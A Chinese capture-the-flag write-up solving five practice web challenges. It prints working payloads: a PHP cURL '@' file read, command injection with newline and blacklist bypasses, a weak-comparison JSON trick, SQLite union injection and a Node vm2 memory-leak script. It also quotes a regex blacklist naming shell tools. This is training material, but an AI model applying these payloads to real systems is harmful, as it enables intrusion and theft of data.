攻防世界web高手篇(021-025)
0x00 Cat
题目描述:抓住那只猫
输入127.0.0.1或者0.0.0.0有回显,baidu.com等无回显,输入管道符等会被判定为Invalid URL
FUZZ测试一下,https://blog.csdn.net/qq_17204441/article/details/102279118,wfuzz -w 字典 url?参数=FUZZ
,发现@
没有被过滤
输入字符编码,不会报错,但是%80
会出错,因为django后端使用的gbk编码,ASCII码的编码范围0-127,%80相当于128 ,所以推断是由unicode解码失败导致的,将报错的代码复制出来,存为html打开,显示django的报错信息,包括请求方式、api接口等等。
这里补一个hint,RTFM of PHP CURL===»read the fuck manul of PHP CURL???,里面提到了PHP CURL的概念,参照https://jasonhzy.github.io/2016/05/04/php-curl-file/,可以知道PHP的cURL支持通过在数组数据中,使用“@+文件全路径”的语法附加文件,供cURL读取上传。
django项目下一般有个settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库),如果使用的是其它数据库的话settings.py则设置用户名和密码。除此外settings.py还会对项目整体的设置进行定义。
所以构造@/opt/api/database.sqlite3
就可以利用CURLOPT_SAFE_UPLOAD为TRUE,禁用@前缀在 CURLOPT_POSTFIELDS 中发送文件的特性,把数据库文件的内容post给django,但是因为编码问题,报错了,就能够看到数据库里面的内容。为了方便观察,将代码再拷贝成html文件查看。得到flag。
0x01 favorite_number
代码如下:
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
首先要求stuff强等于array,首元素还不能为‘admin’,php的版本应该是提示信息,查阅资料发现。可以利用PHP的数组下标的BUG实现整型溢出,https://segmentfault.com/q/1010000003871264,https://bugs.php.net/bug.php?id=69892,所以能够构造。
stuff[4294967296]=admin&stuff[1]=user&num=1
stuff[4294967296]=admin&stuff[]=user&num=2
stuff[-4294967296]=admin&stuff[1]=user&num=3
stuff[4294967296]=admin&stuff[4294967297]=user&num=4
2<sup>32</sup>=4294967296
确实可以绕过第一个判断。
下面绕过数字的判断,可以使用换行符%0a绕过跨行匹配。注意:不能使用hackbar来执行payload,因为火狐浏览器会自动在换行符%0a前面加上回车符%0d,凑成%0d%0a,使绕过失败。于是构造num=1%0als /
。发现了flag文件。
接着需要绕过黑名单。这里参考https://www.cnblogs.com/zhengna/p/13962572.html,https://blog.csdn.net/rfrder/article/details/111482200
方法1 用inode索引节点
先使用ls -i /
命令寻找flag的inode号
构造num=1%0ahead `find / -inum 23593771`
,反引号绕过单双引号过滤。
方法2 将文件名输出到文件里,然后执行文件。
构造payload
num=1%0aprintf /fla > /tmp/1;printf g >> /tmp/1;head `head /tmp/1`
方法3 变量拼接
构造num=1%0ax=/fla;y=g;tac $x$y
*方法4 $和$@
$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt
在没有传入参数的情况下,这些特殊字符默认为空
num=1%0aca$1t /fla$1g
num=1%0aca$@t /fla$@g
0x02 lottery
规则如下,输入7个数字,如果有相同的,会获得对应的奖励。
flag也可以购买
扫描发现存在git
用githack下载下来
审计代码发现在api.php中,存在php弱比较。
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
参照https://www.php.net/manual/zh/types.comparisons.php,可以发现int型与true的比较结果都为true。最后构造{"action":"buy","numbers":[true,true,true,true,true,true,true]}
,成功得到奖金。
攒到足够的钱,买flag
0x03 FlatScience
上扫描器,扫到了一些好东西。
发现管理员页面,提供了一个默认的账户名admin。
查看源码,发现hint,提示我们不要尝试绕过。
在login.php存在hint,猜测有debug的页面。
输入url/?debug=1
,看到数据库为SQLite3。
|
|
SQLite数据库只有它本身一个数据库,有一个sqlite_master隐藏表,里面存放我们建表的记录。构造' union select name,sql from sqlite_master--
抓包进行分析。
经过url解密得到信息
CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))
接着分别查询hint,name,password。结果如下:
|
|
根据admin的密码MD5值,查到ThinJerboaSalz!,所以密码为 ThinJerboa 。在管理员页面登录得到flag
不过比赛时,应该解不出md5值的。根据hint,他的密码应该和pdf有关,使用网上的脚本,python3爬取多目标网页PDF文件并下载到指定目录:
import requests
import re
import os
import sys
re1 = '[a-fA-F0-9]{32,32}.pdf'
re2 = '[0-9\/]{2,2}index.html'
pdf_list = []
def get_pdf(url):
global pdf_list
print(url)
req = requests.get(url).text
re_1 = re.findall(re1,req)
for i in re_1:
pdf_url = url+i
pdf_list.append(pdf_url)
re_2 = re.findall(re2,req)
for j in re_2:
new_url = url+j[0:2]
get_pdf(new_url)
return pdf_list
# return re_2
pdf_list = get_pdf('http://111.200.241.244:52051/')
print(pdf_list)
for i in pdf_list:
os.system('wget '+i)
然后识别PDF内容并进行密码对冲,这里有一个坑,/pdfminer/converter.py中的line 49, self.pageno += 1需要修改为self.pageno += str(1)。
|
|
0x04 leaking
打开页面,分析代码。
"use strict";
var randomstring = require("randomstring");
var express = require("express");
var {
VM
} = require("vm2");
var fs = require("fs");
var app = express();
var flag = require("./config.js").flag
app.get("/", function(req, res) {
res.header("Content-Type", "text/plain");
/* Orange is so kind so he put the flag here. But if you can guess correctly :P */
eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")
if (req.query.data && req.query.data.length <= 12) {
var vm = new VM({
timeout: 1000
});
console.log(req.query.data);
res.send("eval ->" + vm.run(req.query.data));
} else {
res.send(fs.readFileSync(__filename).toString());
}
});
app.listen(3000, function() {
console.log("listening on port 3000!");
});
完全没有头绪,参考wp才知道这是道关于node.js沙箱逃逸的题,首先定义变量 flag,然后可以在沙箱里面执行任意的命令。如果我们能够构造请求,使得vm上下文代替我们去读取利用沙箱外的代码和变量的话,那就形成了沙箱逃逸。基本原理参考:https://blog.csdn.net/qq_41903941/article/details/109379205。不过这题没用到原型链,直接用Buffer()函数用于读取内存的内容,可以通过这个函数直接去读取全局内存中的内容。在较早一点的node版本中(8.0之前),当 Buffer的构造函数传入数字时,会得到与数字长度一致的一个 Buffer,并且这个Buffer是未清零的。8.0之后的版本可以通过另一个函数Buffer. allocUnsafe(size)来获得未清空的内存。
# encoding=utf-8
import requests
import time
url = 'http://your ip:port/?data=Buffer(500)'
response = ''
while 'flag' not in response:
req = requests.get(url)
response = req.text
print(req.status_code)
time.sleep(0.1)
if 'flag{' in response:
print(response)
break
由于内存的保护机制,并不是每一次都能读取到含有flag内容的代码的,多运行几次脚本就好了。